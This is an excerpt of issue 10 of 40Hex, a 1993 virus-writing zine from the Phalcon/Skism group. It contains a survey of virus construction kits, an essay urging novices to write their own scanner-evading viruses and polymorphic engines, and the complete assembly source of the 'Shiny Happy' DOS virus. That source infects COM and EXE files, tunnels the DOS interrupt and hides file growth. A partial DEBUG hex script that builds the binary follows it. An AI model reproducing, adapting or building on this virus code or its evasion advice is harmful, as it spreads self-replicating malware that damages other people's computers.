3936 lines
162 KiB
Plaintext
3936 lines
162 KiB
Plaintext
40Hex Issue 10 Volume 3 Number 1 File 000
|
||
|
||
Welcome back to yet another issue of 40Hex, Phalcon/Skism's magazine chock
|
||
full of virus writing techniques, news, source code, and related info.
|
||
|
||
First off, Phalcon/Skism welcomes its newest member, FirstStrike. We have
|
||
watched him grow from humble beginnings and are confident that he will
|
||
continue to produce quality viruses in the future.
|
||
|
||
We will, beginning with this issue, be phasing out the debug scripts in
|
||
40Hex. Although many people find them useful, we feel that source code is
|
||
more interesting and worthwhile. The disassemblies are almost always done
|
||
by Dark Angel, who advises those with difficulty understanding some parts
|
||
of the disassemblies to first skim the entire disassembly to learn how the
|
||
virus works. Some portions, he continues, are not commented because their
|
||
functions are self-evident and the label names reflect their respective
|
||
purposes.
|
||
|
||
In the spirit of friendly competition, we have, in this issue, the Ontario
|
||
3 virus written by Death Angel of YAM. While on the topic of YAM, we find
|
||
it immensely amusing that they continue to adamantly state on FidoNet and
|
||
elsewhere that the IVP was not a mere hack of PS-MPC. Ok, it was a rewrite
|
||
in Pascal, but the only significant changes were in the labels; even the
|
||
comments were remarkably familiar. Please cease this farce; you are fooling
|
||
nobody.
|
||
|
||
|
||
40Hex-10 Table of Contents
|
||
March 13, 1993
|
||
|
||
File Description
|
||
0000............................You are here
|
||
0001............................Virus creation aids
|
||
0002............................Phalcon/Skism Shiny Happy virus
|
||
0003............................RNA virus source code
|
||
0004............................ARCV Busted
|
||
0005............................Green Caterpillar Debug Script
|
||
0006............................Virus Spotlite: Bad Boy 2
|
||
0007............................A Case Against Encryption
|
||
0008............................Ontario 3 source code
|
||
0009............................40Hex Survey
|
||
|
||
Greets to: NuKE, The Attitude Adjuster, and all virus enthusiasts around
|
||
the world.
|
||
|
||
Goodbye & best wishes to : Apache Warrior, ICE-9, and the rest of the ARCV.
|
||
|
||
-)Gheap
|
||
40Hex Issue 10 Volume 3 Number 1 File 001
|
||
|
||
The following is a cursory examination of virus construction toolkits.
|
||
While hardly comprehensive, it includes the basic elements of each
|
||
toolkit described. For further information, consult appendix A of
|
||
the Phalcon/Skism G<> code generator.
|
||
---------------------------------------------------------------------------
|
||
VIRUS CONSTRUCTION KITS, Revision 2.0 13 February 1993
|
||
|
||
Virus construction kits are computer programs which allow people
|
||
with little or no programming experience to produce new variants of
|
||
computer viruses.
|
||
|
||
Two popular methods are used in virus construction kits. The first
|
||
uses a menu driven user interface where the user is lead through a
|
||
series of menus where he 'designs' the replication method, infection
|
||
criteria and payload (what the virus does when it activates). The
|
||
second method uses a skeleton configuration file (ASCII file in
|
||
which virus configurations are placed) and running a 'generator' to
|
||
produce the virus.
|
||
|
||
There is an important factor to consider. First generation virus
|
||
construction kits only produce assembled or compiled viruses without
|
||
source code. Second generation kits produce virus source code
|
||
(sometimes even commented) that can be changed and assembled by the
|
||
user. The danger in second generation kits is that someone with very
|
||
limited programming experience can potentially produce a new
|
||
computer virus without knowing anything about the internal workings
|
||
of a virus.
|
||
|
||
I would like to stress that because virus construction kits to date
|
||
use a fair amount of constant code (instructions), they pose no
|
||
threat to standard virus detection techniques. However, should
|
||
future kits make use of mutation engine principles, this situation
|
||
could change.
|
||
|
||
|
||
|
||
The following are descriptions of virus construction kits to date.
|
||
This is a factual description as the author has access to all of the
|
||
kits listed below :
|
||
|
||
|
||
GENVIR
|
||
|
||
GENVIR was the first attempt to release a virus construction kit for
|
||
profit. It is a first generation virus construction kit which a
|
||
menu-driven interface. GENVIR is a French program written in 1990 by
|
||
J.Struss of Lochwiller, France. It is a 'Crippleware' program that
|
||
lets you go through all the motions of creating a virus, but stops
|
||
short of the compilation stage. To receive a working copy, one must
|
||
license the software for a fee of 120 Frances. The latest version is
|
||
1.0 and it is believed that GENVIR was never released as a functional
|
||
virus construction kit.
|
||
|
||
|
||
VCS (Virus Construction Set)
|
||
|
||
VCS is a first generation virus kit written in 1991 by a German group
|
||
called VDV (Verband Deutscher Virenliebhaber). VCS is a primitive
|
||
program that requires a text file of maximum 512 bytes length and
|
||
incorporates this text into a simple .COM file virus infector. After
|
||
a specified number of replications, the virus will display the text
|
||
message and delete AUTOEXEC.BAT and CONFIG.SYS. The latest release is
|
||
version 1.0. The program text is in German,although there is a hacked
|
||
version in English.
|
||
|
||
|
||
VCL (Virus Construction Laboratory)
|
||
|
||
VCL is a complex, second generation, menu driven virus construction
|
||
kit written in 1992 by Nowhere Man and [NuKE] WaReZ. It allows
|
||
multiple, user selectable modules to be incorporated into the virus,
|
||
together with the option of creating commented ASM (assembler) source
|
||
code files that can be manually modified. The danger with this option
|
||
is that a virus writer can create the virus kernel (without knowing
|
||
much about the internal workings of viruses) using VCL and then add
|
||
his own,custom code into the virus.The latest release is version 1.0.
|
||
|
||
|
||
PS-MPC (Phalcon / Skism - Mass Produced Code Generator)
|
||
|
||
PS-MPC is a second generation virus construction kit, written by Dark
|
||
Angel in July 1992. It is based heavily on the VCL virus construction
|
||
kit. It was distributed including source code in the C language.
|
||
Although it is not menu driven, (it uses a user definable skeleton
|
||
configuration file to produce viruses) it creates more compact,neater
|
||
commented ASM source code than VCL does. Two versions exist,the first
|
||
being version 0.90beta released together with 40Hex (an underground
|
||
electronic magazine) on 7 July 1992, and version 0.91beta released on
|
||
17 August 1992. According to the history file in this release, the
|
||
following as been added to the second release : a) rudimentary memory
|
||
resident viruses may be created, b) improved optimization of code,
|
||
c) fixed minor quirks and d) got rid of "unsigned char" requirement.
|
||
|
||
|
||
IVP (Instant Virus Production Kit)
|
||
|
||
IVP is a second generation virus construction kit, written in 1992 by
|
||
Admiral Bailey a member of the YAM (Youngsters Against McAfee)
|
||
underground group. According to the documentation, it was written in
|
||
Turbo Pascal version 7.0. IVP uses a skeleton configuration approach
|
||
and produces commented source code. It was the following features :
|
||
a) .EXE and .COM file infection, b) Trojan support, c) Directory
|
||
changing, d) encryption, e) error handling, f) COMMAND.COM infection,
|
||
g) overwriting option and h) random nop generator. The latest release
|
||
is version 1.0.
|
||
|
||
|
||
G2 (G Squared)
|
||
|
||
G2 is a second generation virus construction kit, written in 1993 by
|
||
Dark Angel of the Phalcon/Skism underground group.(Dark Angel is also
|
||
the author of the PS-MPC virus construction kit). This kit makes use
|
||
of the skeleton configuration approach and produces commented source
|
||
code. According to Dark Angel's documentation, G2 is not a
|
||
modification of the Phalcon/Skism PS-MPC kit, but a complete rewrite.
|
||
It differs from other virus construction kits in that it produces
|
||
easily upgradable and semi-polymorphic routines. The latest release
|
||
is version 0.70beta, dated January 1, 1993.
|
||
|
||
|
||
|
||
Oliver Steudler, DYNAMIC SOLUTIONS
|
||
Authorized McAfee Associates Anti Virus Agent
|
||
Mail : P.O.Box 4397, Cape Town, 8000, South Africa
|
||
Internet : Oliver.Steudler@f110.n7102.z5.fidonet.ORG
|
||
or 100075.0200@compuserve.COM
|
||
Fidonet : 5:7102/110
|
||
CompuServe : 100075,0200
|
||
Phone : +27 (21) 24-9504 (GMT +2)
|
||
Fax : +27 (21) 26-1911
|
||
BBS: : +27 (21) 24-2208 [1200-14,400 bps]
|
||
---------------------------------------------------------------------------
|
||
Virus construction tools are cropping up at the rate of one roughly every
|
||
two months. Additionally, new polymorphic "engines" such as the MtE, TPE,
|
||
etc. are begining to emerge. But how real is the threat from viruses
|
||
generated with such tools and has this threat been exaggerated by the
|
||
media?
|
||
|
||
The discussion will center on the so-called "second generation" toolkits.
|
||
Perhaps the most prolific of these is Nowhere Man's VCL. It has the most
|
||
attractive interface of all the recent virus development tools and allows for
|
||
a variety of activation routines; something which has been conspicuously
|
||
absent from the Phalcon/Skism code generators. However, VCL is also perhaps
|
||
the least dangerous of all the toolkits, hampered by the dependance upon only
|
||
one encryption/decryption routine and single, constant code base. YAM's IVP
|
||
ameliorates the problem, albeit in a highly limited and somewhat useless
|
||
fashion, with the random NOP placement. Of course, its code is based heavily
|
||
upon the PS-MPC, which is also nonrandom, so it, too, is hampered. The
|
||
PS-MPC, as mentioned earlier, has but a single code base. In short, these
|
||
three toolkits are of limited utility in terms of creating nonscannable
|
||
viruses "out of the box." The generated code typically needs to be modified
|
||
for the viruses to be unscannable.
|
||
|
||
So perhaps the solution lies in relying not upon a single code base, but
|
||
multiple code bases and allowing for random (not the same as haphazard)
|
||
placement of individual lines of code. This is the approach of G<>. G<>
|
||
allows for multiple code packages which accomplish a certain goal. The
|
||
program selects one of the packages for inclusion in a given virus. In
|
||
this manner, variability may be ensured. G<> further allows for the order
|
||
of statements to be scrambled in the source file. However, all G<> viruses
|
||
share the same structure as well as having certain bits of code in common.
|
||
So, while an improvement, it is hardly the final step in the evolution of
|
||
virus creation toolkits. G<> could become much more powerful with multiple
|
||
virus structures as well as improved code packages.
|
||
|
||
The article above suggested that the toolkits would be much more powerful
|
||
should they incorporate "mutation engine principles." In other words, the
|
||
toolkits should be able to mutate the generated code. The IVP currently
|
||
uses such an approach, albeit only with simple NOPs liberally scattered in the
|
||
decryption and delta offset calculation routines. Such code, however, should
|
||
not be a goal of the authors of such toolkits. It is simply not appropriate
|
||
for a virus creator to function in such a manner. A virus toolkit which
|
||
simply spews out the same code in various forms is merely an overblown hack
|
||
generator. Toolkits exist as _aids_ in writing a virus, not as replacements.
|
||
Surely including such mutation routines would result in larger viruses as well
|
||
as illegible code. A novice utilising the toolkit would not be able to learn
|
||
from such unoptimised code. Tight code which doesn't sacrifice legibility
|
||
should always be the goal of virus generators.
|
||
|
||
Another aid in writing viruses is the "encryptor-in-a-box," a product such
|
||
as MtE or TPE. Such modules allow all viruses to incorporate polymorphic
|
||
routines. Yet how dangerous are such polymorphers? As they currently exist,
|
||
they pose very little threat. Scanners have adapted not only to catch current
|
||
MtE-using viruses reliably, but also to find new viruses which use decryptors
|
||
created with MtE. Certainly the TPE and any new polymorphic routines will meet
|
||
the same fate. Constant revisions of these engines, while being temporary
|
||
solutions, remain just that: temporary. Once the anti-virus industry receives
|
||
a copy of the new version, the engine is once again useless.
|
||
|
||
The virus community should look beyond such "easy fixes" as virus creation
|
||
toolkits and polymorphic "engines." The simplest way to get a nonscannable
|
||
virus is to write it yourself. Not only is there the benefit of satisfaction
|
||
with the work, but you gain expertise and intimate understanding of both
|
||
viruses and the operating system. Such knowledge comes only with writing
|
||
several viruses on your own. The best way for a beginner to learn how to
|
||
write viruses is to figure it out on his own _without_ any examples. Once a
|
||
virus has been written in this manner, then it is appropriate to look at
|
||
current virus samples to find out the various tried and true techniques.
|
||
|
||
But polymorphic engines are difficult to write, the novice virus writer
|
||
protests; using MtE will vastly improve the virus. Rubbish. Firstly, it is
|
||
a fact that scanners will be able to detect the virus, be it encrypted with a
|
||
simple XOR loop or with MtE. Writing your own encryption will be far better
|
||
in terms of learning. Secondly, polymorphic engines are _not_ terribly
|
||
difficult to create. A few hours of thinking will be sufficient to lay down
|
||
the framework of a polymorphic engine. An additional few days is enough for
|
||
coding. Even the MtE and TPE, while requiring bit-level knowledge of the
|
||
opcodes, could have been written by a person with only a few years of
|
||
experience programming assembly. The advantages of writing your own
|
||
polymorphic engine are obvious; anti-virus developers will have to spend much
|
||
time (and space in their products) analysing and developing scanners for each
|
||
individual engine; and simply adding a few extra garbling instructions should
|
||
be sufficient to throw these scanners off in a future virus.
|
||
|
||
So what purpose do these tools serve? The ultimate aim of those producing the
|
||
virus creation tools should be not to enable people to go around creating new,
|
||
unscannable viruses and trashing every hard drive in the world, but to allow
|
||
novices to break into the field of virus writing. It is not difficult to
|
||
write a virus, but these tools certainly ease the initial pain. Polymorphic
|
||
engines are useful as examples for your own polymorphic routines.
|
||
|
||
I encourage all novice programmers to pick up a copy of Phalcon/Skism's G<> and
|
||
VCL, the two most prolific code generation toolkits. Run them a few times with
|
||
various parameters and analyse the code carefully. Print out the code and look
|
||
it over. The basic principles of virus creation will be apparent after some
|
||
inspection. Learn from it and then sit down and write your own virus from
|
||
scratch.
|
||
|
||
Dark Angel
|
||
Phalcon/Skism 1993
|
||
40Hex Issue 10 Volume 3 Number 1 File 002
|
||
|
||
The Phalcon/Skism Shiny Happy Virus
|
||
|
||
This virus was written jointly by Dark Angel and Hellraiser about six
|
||
months ago. It is a simple semi-stealth virus that doesn't actually replace
|
||
interrupt 21h's vector in the interrupt table. Instead, it finds the DOS
|
||
interrupt 21h entry point and encodes an int 3 as the first byte. Consequently,
|
||
it is highly debugger-resistant. It also hides the file size increase, albeit
|
||
only in DOS directory listings. This way, it avoids the CHKDSK cross-linking
|
||
errors common to viruses hooking FCB find first/next. The virus infects upon
|
||
file executions. A debug script follows the source code. As always, type
|
||
"DEBUG < DEBUG.SCR > NUL" to create the virus from the debug script.
|
||
|
||
The virus always activates, hooking the keyboard interrupt. When it
|
||
detects a happy face (emoticon), the virus changes it to a frown. The Shiny
|
||
Happy residency test follows:
|
||
|
||
Run the cursor across the following line:
|
||
:-) =) \|-) ;) :*)
|
||
If any of the faces changed to frowns, then Shiny Happy is loose on your
|
||
system.
|
||
|
||
-)Gheap
|
||
|
||
-------------------------------------------------------------------------------
|
||
; The Shiny Happy Virus
|
||
; By Hellraiser and Dark Angel of Phalcon/Skism
|
||
|
||
.model tiny
|
||
.code
|
||
|
||
id = '52'
|
||
timeid = 18h
|
||
|
||
shiny:
|
||
call next
|
||
next: pop bp
|
||
|
||
push ds
|
||
push es
|
||
|
||
xor di,di
|
||
mov ds,di
|
||
cmp word ptr ds:[1*4],offset int1_2 ; installation check
|
||
jz return
|
||
|
||
mov ax,es
|
||
dec ax
|
||
sub word ptr ds:[413h],(endheap-shiny+1023)/1024
|
||
mov ds,ax
|
||
sub word ptr ds:[3],((endheap-shiny+1023)/1024)*64
|
||
sub word ptr ds:[12h],((endheap-shiny+1023)/1024)*64
|
||
mov es,word ptr ds:[12h]
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
lea si,[bp+shiny-next]
|
||
mov cx,(endheap-shiny+1)/2
|
||
rep movsw
|
||
|
||
push cs
|
||
lea ax,[bp+return-next]
|
||
push ax
|
||
|
||
push es
|
||
mov ax,offset highentry
|
||
push ax
|
||
retf
|
||
|
||
return:
|
||
cmp sp,id-4
|
||
jz returnEXE
|
||
returnCOM:
|
||
pop es
|
||
pop ds
|
||
mov di,100h
|
||
push di
|
||
lea si,[bp+offset save3-next]
|
||
movsw
|
||
movsb
|
||
retn
|
||
|
||
returnEXE:
|
||
pop es
|
||
pop ds
|
||
mov ax,es
|
||
add ax,10h
|
||
add word ptr cs:[bp+origCSIP+2-next],ax
|
||
cli
|
||
add ax,word ptr cs:[bp+origSPSS-next]
|
||
mov ss,ax
|
||
mov sp,word ptr cs:[bp+origSPSS+2-next]
|
||
sti
|
||
db 0eah
|
||
origCSIP db ?
|
||
save3 db 0cdh,20h,0
|
||
origSPSS dd ?
|
||
|
||
highentry:
|
||
mov cs:in21flag,0
|
||
|
||
xor ax,ax
|
||
mov ds,ax
|
||
|
||
les ax,ds:[9*4]
|
||
mov word ptr cs:oldint9,ax
|
||
mov word ptr cs:oldint9+2,es
|
||
|
||
mov ds:[9*4],offset int9
|
||
mov ds:[9*4+2],cs
|
||
|
||
les ax,ds:[21h*4]
|
||
mov word ptr cs:oldint21,ax
|
||
mov word ptr cs:oldint21+2,es
|
||
|
||
mov word ptr ds:[1*4],offset int1
|
||
mov ds:[1*4+2],cs
|
||
|
||
mov ah, 52h
|
||
int 21h
|
||
mov ax,es:[bx-2]
|
||
mov word ptr cs:tunnel21+2, ax
|
||
mov word ptr cs:dosseg_, es
|
||
|
||
pushf
|
||
pop ax
|
||
or ah,1
|
||
push ax
|
||
popf
|
||
|
||
mov ah,0bh
|
||
pushf
|
||
db 09Ah
|
||
oldint21 dd ?
|
||
|
||
mov word ptr ds:[3*4],offset int3
|
||
mov ds:[3*4+2],cs
|
||
mov word ptr ds:[1*4],offset int1_2
|
||
|
||
les bx,cs:tunnel21
|
||
mov al,0CCh
|
||
xchg al,byte ptr es:[bx]
|
||
mov byte ptr cs:save1,al
|
||
retf
|
||
|
||
authors db 'Shiny Happy Virus by Hellraiser and Dark Angel of Phalcon/Skism',0
|
||
|
||
int1: push bp
|
||
mov bp,sp
|
||
push ax
|
||
|
||
mov ax, [bp+4]
|
||
cmp ax,word ptr cs:tunnel21+2
|
||
jb foundint21
|
||
db 3dh ; cmp ax, xxxx
|
||
dosseg_ dw ?
|
||
ja exitint1
|
||
foundint21:
|
||
mov word ptr cs:tunnel21+2,ax
|
||
mov ax,[bp+2]
|
||
mov word ptr cs:tunnel21,ax
|
||
and byte ptr [bp+7], 0FEh
|
||
exitint1:
|
||
pop ax
|
||
pop bp
|
||
iret
|
||
|
||
int1_2: push bp
|
||
mov bp,sp
|
||
push ax
|
||
|
||
mov ax, [bp+4]
|
||
cmp ax,word ptr cs:tunnel21+2
|
||
ja exitint1_2
|
||
mov ax, [bp+2]
|
||
cmp ax,word ptr cs:tunnel21
|
||
jbe exitint1_2
|
||
|
||
push ds
|
||
push bx
|
||
lds bx,cs:tunnel21
|
||
mov byte ptr ds:[bx],0CCh
|
||
pop bx
|
||
pop ds
|
||
|
||
and byte ptr [bp+7],0FEh
|
||
exitint1_2:
|
||
pop ax
|
||
pop bp
|
||
iret
|
||
|
||
infect_others:
|
||
mov ax,4301h
|
||
push ax
|
||
push ds
|
||
push dx
|
||
xor cx,cx
|
||
call callint21
|
||
|
||
mov ax,3d02h
|
||
call callint21
|
||
xchg ax,bx
|
||
|
||
mov ax,5700h
|
||
call callint21
|
||
push cx
|
||
push dx
|
||
|
||
mov ah,3fh
|
||
mov cx,1ah
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov dx,offset readbuffer
|
||
call callint21
|
||
|
||
mov ax,4202h
|
||
xor cx,cx
|
||
cwd
|
||
int 21h
|
||
|
||
mov si,offset readbuffer
|
||
cmp word ptr [si],'ZM'
|
||
jnz checkCOM
|
||
checkEXE:
|
||
cmp word ptr [si+10h],id
|
||
jz goalreadyinfected
|
||
|
||
mov di, offset OrigCSIP
|
||
mov si, offset readbuffer+14h
|
||
movsw
|
||
movsw
|
||
|
||
sub si, 18h-0eh
|
||
movsw
|
||
movsw
|
||
|
||
push bx
|
||
mov bx, word ptr readbuffer + 8
|
||
mov cl, 4
|
||
shl bx, cl
|
||
|
||
push dx
|
||
push ax
|
||
|
||
sub ax, bx
|
||
sbb dx, 0
|
||
|
||
mov cx, 10h
|
||
div cx
|
||
|
||
mov word ptr readbuffer+14h, dx
|
||
mov word ptr readbuffer+16h, ax
|
||
|
||
mov word ptr readbuffer+0Eh, ax
|
||
mov word ptr readbuffer+10h, id
|
||
|
||
pop ax
|
||
pop dx
|
||
pop bx
|
||
|
||
add ax, heap-shiny
|
||
adc dx, 0
|
||
|
||
mov cl, 9
|
||
push ax
|
||
shr ax, cl
|
||
ror dx, cl
|
||
stc
|
||
adc dx, ax
|
||
pop ax
|
||
and ah, 1
|
||
|
||
mov word ptr readbuffer+4, dx
|
||
mov word ptr readbuffer+2, ax
|
||
|
||
mov cx,1ah
|
||
jmp short finishinfection
|
||
checkCOM:
|
||
xchg cx,ax
|
||
sub cx,heap-shiny+3
|
||
cmp cx,word ptr [si+1]
|
||
goalreadyinfected:
|
||
jz alreadyinfected
|
||
add cx,heap-shiny
|
||
|
||
push si
|
||
mov di,offset save3
|
||
movsw
|
||
movsb
|
||
pop di
|
||
mov al,0e9h
|
||
stosb
|
||
mov ax,3 ; cx holds bytes to write
|
||
xchg ax,cx
|
||
stosw
|
||
finishinfection:
|
||
push cx
|
||
|
||
mov ah,40h
|
||
mov cx,heap-shiny
|
||
cwd ; xor dx,dx
|
||
call callint21
|
||
|
||
mov ax,4200h
|
||
xor cx,cx
|
||
cwd
|
||
int 21h
|
||
|
||
mov ah,40h
|
||
pop cx
|
||
mov dx,offset readbuffer
|
||
call callint21
|
||
|
||
mov ax,5701h
|
||
pop dx
|
||
pop cx
|
||
and cl,0E0h
|
||
or cl,timeid
|
||
call callint21
|
||
jmp doneinfect
|
||
|
||
alreadyinfected:
|
||
pop ax
|
||
pop ax
|
||
doneinfect:
|
||
mov ah,3eh
|
||
call callint21
|
||
|
||
pop dx
|
||
pop ds
|
||
pop ax
|
||
pop cx
|
||
call callint21
|
||
exitexecute:
|
||
pop es
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
|
||
jmp exitint21
|
||
|
||
execute:
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push si
|
||
push di
|
||
push ds
|
||
push es
|
||
|
||
cld
|
||
|
||
mov ax,4300h
|
||
call callint21
|
||
jc exitexecute
|
||
push cx
|
||
|
||
jmp infect_others
|
||
|
||
int3:
|
||
push bp
|
||
mov bp,sp
|
||
|
||
cmp cs:in21flag,0
|
||
jnz leaveint21
|
||
|
||
inc cs:in21flag
|
||
|
||
cmp ah,11h
|
||
jz findfirstnext
|
||
cmp ah,12h
|
||
jz findfirstnext
|
||
cmp ax,4b00h
|
||
jz execute
|
||
|
||
exitint21:
|
||
dec cs:in21flag
|
||
leaveint21:
|
||
or byte ptr [bp+7],1 ; set trap flag upon return
|
||
dec word ptr [bp+2] ; decrement offset
|
||
call restoreint21
|
||
pop bp
|
||
iret
|
||
|
||
callint21:
|
||
pushf
|
||
call dword ptr cs:tunnel21
|
||
ret
|
||
|
||
restoreint21:
|
||
push ds
|
||
push ax
|
||
push bx
|
||
|
||
lds bx,cs:tunnel21
|
||
mov al,byte ptr cs:save1
|
||
mov ds:[bx],al
|
||
|
||
pop bx
|
||
pop ax
|
||
pop ds
|
||
|
||
ret
|
||
|
||
findfirstnext:
|
||
int 21h ; pre-chain interrupt
|
||
|
||
; flags [bp+12]
|
||
; segment [bp+10]
|
||
; offset [bp+8]
|
||
; flags [bp+6]
|
||
; segment [bp+4]
|
||
; offset [bp+2]
|
||
; bp [bp]
|
||
pushf ; save results
|
||
pop [bp+6+6]
|
||
pop bp
|
||
|
||
push ax
|
||
push bx
|
||
push ds
|
||
push es
|
||
|
||
inc al
|
||
jz notDOS
|
||
|
||
mov ah,51h ; Get active PSP
|
||
int 21h
|
||
mov es,bx
|
||
cmp bx,es:[16h] ; DOS calling it?
|
||
jne notDOS
|
||
|
||
mov ah,2fh ; DTA -> ES:BX
|
||
int 21h
|
||
push es
|
||
pop ds
|
||
|
||
cmp byte ptr [bx],0FFh
|
||
jnz regularFCB
|
||
add bx,7
|
||
regularFCB:
|
||
cmp word ptr [bx+9],'OC'
|
||
jz checkinf
|
||
cmp word ptr [bx+9],'XE'
|
||
jnz notDOS
|
||
checkinf:
|
||
mov al,byte ptr [bx+23]
|
||
and al,1Fh
|
||
|
||
cmp al,timeid
|
||
jnz notDOS
|
||
subtract:
|
||
sub word ptr [bx+29],heap-shiny
|
||
sbb word ptr [bx+31],0
|
||
notDOS:
|
||
pop es
|
||
pop ds
|
||
pop bx
|
||
pop ax
|
||
|
||
dec cs:in21flag
|
||
|
||
cli
|
||
add sp,6
|
||
iret
|
||
|
||
int9:
|
||
pushf ; save flags, regs, etc...
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
|
||
xor bx,bx
|
||
mov ah,0fh ; get video mode
|
||
int 10h
|
||
|
||
mov ah,03h ; get curs pos
|
||
int 10h
|
||
|
||
call getattrib
|
||
cmp al,')' ; happy??
|
||
jne audi5000 ; no
|
||
|
||
mov cs:eyesflag,0
|
||
beforeloveshack:
|
||
call getattrib ; see if there is a nose
|
||
loveshack:
|
||
cmp al,':' ; shiny???
|
||
je realeyes
|
||
|
||
cmp al,'=' ; check for even =)
|
||
je realeyes
|
||
|
||
cmp al,'|'
|
||
je realeyes
|
||
|
||
cmp al,';'
|
||
je realeyes
|
||
|
||
cmp cs:eyesflag,0
|
||
jnz audi5001
|
||
cmp al,'('
|
||
jz audi5001
|
||
inc cs:eyesflag
|
||
inc bl
|
||
jmp short beforeloveshack
|
||
|
||
realeyes:
|
||
stc
|
||
adc dl,bl ; add extra backspace if so
|
||
|
||
mov ah,02h
|
||
int 10h
|
||
|
||
mov ax,0a28h ; 0ah, '(' ; write frown
|
||
mov cx,1
|
||
int 10h
|
||
|
||
jmp audi5000
|
||
audi5001:
|
||
stc
|
||
adc dl,bl
|
||
audi5000:
|
||
inc dl ; set curs pos
|
||
mov ah,02h
|
||
int 10h
|
||
|
||
pop dx ; restore all stuff
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
|
||
db 0eah
|
||
oldint9 dd ?
|
||
|
||
; reads the char at the current cursorpos - 1
|
||
|
||
getattrib:
|
||
dec dl ; set curs pos
|
||
mov ah,02h
|
||
int 10h
|
||
|
||
mov ah,08h ; get char at curs
|
||
int 10h
|
||
|
||
ret
|
||
|
||
heap:
|
||
save1 db ?
|
||
tunnel21 dd ?
|
||
in21flag db ?
|
||
eyesflag db ?
|
||
readbuffer db 1ah dup (?)
|
||
endheap:
|
||
end shiny
|
||
-------------------------------------------------------------------------------
|
||
n shiny.com
|
||
e 0100 E8 00 00 5D 1E 06 33 FF 8E DF 81 3E 04 00 4D 01
|
||
e 0110 74 2D 8C C0 48 83 2E 13 04 01 8E D8 83 2E 03 00
|
||
e 0120 40 83 2E 12 00 40 8E 06 12 00 0E 1F 8D 76 FD B9
|
||
e 0130 DD 01 F3 A5 0E 8D 46 3C 50 06 B8 71 00 50 CB 81
|
||
e 0140 FC 2E 35 74 0C 07 1F BF 00 01 57 8D 76 67 A5 A4
|
||
e 0150 C3 07 1F 8C C0 05 10 00 2E 01 46 68 FA 2E 03 46
|
||
e 0160 6A 8E D0 2E 8B 66 6C FB EA 00 CD 20 00 00 00 00
|
||
e 0170 00 2E C6 06 9E 03 00 33 C0 8E D8 C4 06 24 00 2E
|
||
e 0180 A3 8A 03 2E 8C 06 8C 03 C7 06 24 00 26 03 8C 0E
|
||
e 0190 26 00 C4 06 84 00 2E A3 C5 00 2E 8C 06 C7 00 C7
|
||
e 01A0 06 04 00 28 01 8C 0E 06 00 B4 52 CD 21 26 8B 47
|
||
e 01B0 FE 2E A3 9C 03 2E 8C 06 37 01 9C 58 80 CC 01 50
|
||
e 01C0 9D B4 0B 9C 9A 00 00 00 00 C7 06 0C 00 85 02 8C
|
||
e 01D0 0E 0E 00 C7 06 04 00 4D 01 2E C4 1E 9A 03 B0 CC
|
||
e 01E0 26 86 07 2E A2 99 03 CB 53 68 69 6E 79 20 48 61
|
||
e 01F0 70 70 79 20 56 69 72 75 73 20 62 79 20 48 65 6C
|
||
e 0200 6C 72 61 69 73 65 72 20 61 6E 64 20 44 61 72 6B
|
||
e 0210 20 41 6E 67 65 6C 20 6F 66 20 50 68 61 6C 63 6F
|
||
e 0220 6E 2F 53 6B 69 73 6D 00 55 8B EC 50 8B 46 04 2E
|
||
e 0230 3B 06 9C 03 72 05 3D 00 00 77 0F 2E A3 9C 03 8B
|
||
e 0240 46 02 2E A3 9A 03 80 66 07 FE 58 5D CF 55 8B EC
|
||
e 0250 50 8B 46 04 2E 3B 06 9C 03 77 1A 8B 46 02 2E 3B
|
||
e 0260 06 9A 03 76 10 1E 53 2E C5 1E 9A 03 C6 07 CC 5B
|
||
e 0270 1F 80 66 07 FE 58 5D CF B8 01 43 50 1E 52 33 C9
|
||
e 0280 E8 32 01 B8 02 3D E8 2C 01 93 B8 00 57 E8 25 01
|
||
e 0290 51 52 B4 3F B9 1A 00 0E 1F 0E 07 BA A0 03 E8 14
|
||
e 02A0 01 B8 02 42 33 C9 99 CD 21 BE A0 03 81 3C 4D 5A
|
||
e 02B0 75 5C 81 7C 10 32 35 74 5D BF 69 00 BE B4 03 A5
|
||
e 02C0 A5 83 EE 0A A5 A5 53 8B 1E A8 03 B1 04 D3 E3 52
|
||
e 02D0 50 2B C3 83 DA 00 B9 10 00 F7 F1 89 16 B4 03 A3
|
||
e 02E0 B6 03 A3 AE 03 C7 06 B0 03 32 35 58 5A 5B 05 99
|
||
e 02F0 03 83 D2 00 B1 09 50 D3 E8 D3 CA F9 13 D0 58 80
|
||
e 0300 E4 01 89 16 A4 03 A3 A2 03 B9 1A 00 EB 1D 91 81
|
||
e 0310 E9 9C 03 3B 4C 01 74 3E 81 C1 99 03 56 BF 6A 00
|
||
e 0320 A5 A4 5F B0 E9 AA B8 03 00 91 AB 51 B4 40 B9 99
|
||
e 0330 03 99 E8 80 00 B8 00 42 33 C9 99 CD 21 B4 40 59
|
||
e 0340 BA A0 03 E8 6F 00 B8 01 57 5A 59 80 E1 E0 80 C9
|
||
e 0350 18 E8 61 00 EB 02 58 58 B4 3E E8 58 00 5A 1F 58
|
||
e 0360 59 E8 51 00 07 1F 5F 5E 5A 59 5B 58 9D EB 35 9C
|
||
e 0370 50 53 51 52 56 57 1E 06 FC B8 00 43 E8 36 00 72
|
||
e 0380 E3 51 E9 F3 FE 55 8B EC 2E 80 3E 9E 03 00 75 19
|
||
e 0390 2E FE 06 9E 03 80 FC 11 74 34 80 FC 12 74 2F 3D
|
||
e 03A0 00 4B 74 CB 2E FE 0E 9E 03 80 4E 07 01 FF 4E 02
|
||
e 03B0 E8 09 00 5D CF 9C 2E FF 1E 9A 03 C3 1E 50 53 2E
|
||
e 03C0 C5 1E 9A 03 2E A0 99 03 88 07 5B 58 1F C3 CD 21
|
||
e 03D0 9C 8F 46 0C 5D 50 53 1E 06 FE C0 74 3B B4 51 CD
|
||
e 03E0 21 8E C3 26 3B 1E 16 00 75 2E B4 2F CD 21 06 1F
|
||
e 03F0 80 3F FF 75 03 83 C3 07 81 7F 09 43 4F 74 07 81
|
||
e 0400 7F 09 45 58 75 12 8A 47 17 24 1F 3C 18 75 09 81
|
||
e 0410 6F 1D 99 03 83 5F 1F 00 07 1F 5B 58 2E FE 0E 9E
